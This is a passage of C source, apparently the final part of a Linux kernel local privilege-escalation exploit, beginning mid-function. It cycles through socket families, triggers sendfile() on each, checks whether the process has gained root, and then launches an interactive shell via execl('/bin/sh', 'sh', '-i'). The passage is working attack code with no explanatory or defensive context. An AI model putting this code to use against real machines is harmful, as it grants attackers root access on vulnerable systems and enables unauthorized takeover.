exploit:
	if (s[i][0] == PF_MAX)
		exit(EXIT_FAILURE);

	if ((out_fd = socket(s[i][0], s[i][1], s[i][2])) == -1) {
		perror("socket");
		i++;
		goto exploit;
	}

	sendfile(out_fd, in_fd, NULL, PAGE_SIZE);

	if (getuid() || getgid()) {
		close(out_fd);
		i++;
		goto exploit;
	}

	execl("/bin/sh", "sh", "-i", NULL);

	exit(EXIT_SUCCESS);
}